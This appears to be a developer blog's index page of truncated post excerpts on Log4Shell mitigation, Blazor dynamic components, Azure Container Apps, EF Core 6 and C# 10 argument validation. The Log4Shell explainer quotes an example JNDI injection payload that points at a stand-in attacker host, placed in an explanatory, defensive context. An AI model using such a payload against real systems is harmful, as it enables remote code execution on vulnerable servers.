If you cannot patch instantly, use WAF. Azure Front Door: Rule set newly updated to block JNDI strings. Azure Firewall: IDPS signatures updated.
Read more →Log4Shell Explained (CVE-2021-44228)
Log4Shell is arguably the worst vulnerability in a decade. The Apache Log4j library (Java) allowed remote code execution via a simple log message injection. .NET is not affected, but understanding this is critical for polyglot teams. The Exploit A malicious string like `${jndi:ldap://attacker.com/a}` in a log message triggers a JNDI lookup, downloading and executing a […]
Read more →Blazor in .NET 6: Dynamic Components
.NET 6 Blazor introduces “, allowing you to render a component whose type is selected at runtime. No more massive switch statements in render trees. Usage Use Cases Plugin systems where component types are registered dynamically. Dashboard builders with user-selectable widgets. Key Takeaways Combine with `System.Reflection` to load components by name. Parameters must be passed […]
Read more →Azure Container Apps is GA
Azure Container Apps (ACA) is now Generally Available. It provides serverless containers without managing Kubernetes, with built-in KEDA scaling and Dapr integration. When to Use ACA vs AKS Feature ACA AKS Control Plane Management Fully Managed Self Managed Scale to Zero ✅ Yes Requires KEDA Custom CRDs ❌ No ✅ Yes Key Takeaways Use ACA […]
Read more →Top 5 Features of Entity Framework Core 6
EF Core 6 ships with .NET 6 and brings several performance and usability improvements. Here are the highlights. 1. Compiled Models Pre-compile your model to avoid expensive startup reflection. 2. Temporal Tables (SQL Server) 3. Pre-Convention Model Configuration Apply conventions like “all strings max 256” globally. 4. Migration Bundles Package migrations as executables for CI/CD. […]
Read more →C# 10: Validating Arguments with CallerArgumentExpression
Writing guard clauses like `ArgumentNullException.ThrowIfNull(value)` is great, but error messages often lack context. CallerArgumentExpression captures the expression text at compile time. Example Key Takeaways Zero runtime overhead—it’s a compile-time feature. Use in custom assertion libraries or fluent validation.
Read more →